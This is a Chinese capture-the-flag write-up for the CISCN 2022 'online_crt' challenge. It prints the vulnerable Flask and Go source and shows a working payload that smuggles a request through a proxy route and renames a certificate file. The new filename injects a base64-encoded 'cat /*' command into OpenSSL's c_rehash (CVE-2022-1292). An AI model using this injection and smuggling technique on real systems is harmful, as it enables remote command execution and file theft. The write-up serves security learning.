[CISCN 2022 初赛]online_crt

文章目录

涉及知识点

CVE-2022-1292漏洞
OpenSSL
ssrf

代码审计

app.py源码

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

分析一下，采用的是flask模板，总计4个路由

/根目录返回一个index.htmld的界面，也就是我们开题看到的界面
/getcrt路由配合getcrt函数用来生成X509证书（了解一下就行，它会根据我们提交的信息创建一个.crt的证书文件，存入static/crt/目录下）
/createlink路由，用来建立一个与我们刚才生成的.crt证书的链接，去访问它的内容
/proxy路由，用来建立一个内网 8887端口的连接，与go源码部分进行对接，并将发送一段请求信息给go源码的部分进行处理

然后就是go源码

package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

这一段代码比较重要的就是只要绕过if语句就可以修改我们指定的.crt后缀的证书文件名

本题漏洞

出在/createlink这个路由下的c_rehash指令，c_rehash是openssl中的一个用perl编写的脚本工具，用于批量创建证书等文件 hash命名的符号链接，是当用户可控文件名时的命令注入

先知社区有参考文章分析

解题过程

我们先生成一个证书，然后记下它的文件名

然后通过访问 /proxy路由来打通与内容 go源码业务部分的连接，修改我们的证书文件名，并加上我们的命令执行RCE

payload生效的内容是在同目录下生成一个flag.txt文件并向flag.txt文件写入我们 cat /*的结果

import urllib.parse
uri = '''/admin%2frename?oldname=f70b7466-77f3-46a8-b645-e5cb243d1225.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)

访问/proxy，同时抓包修改请求方式为GET以及在uri参数后回车两次

然后利用/createlink调用c_rehash

访问路由，得到flag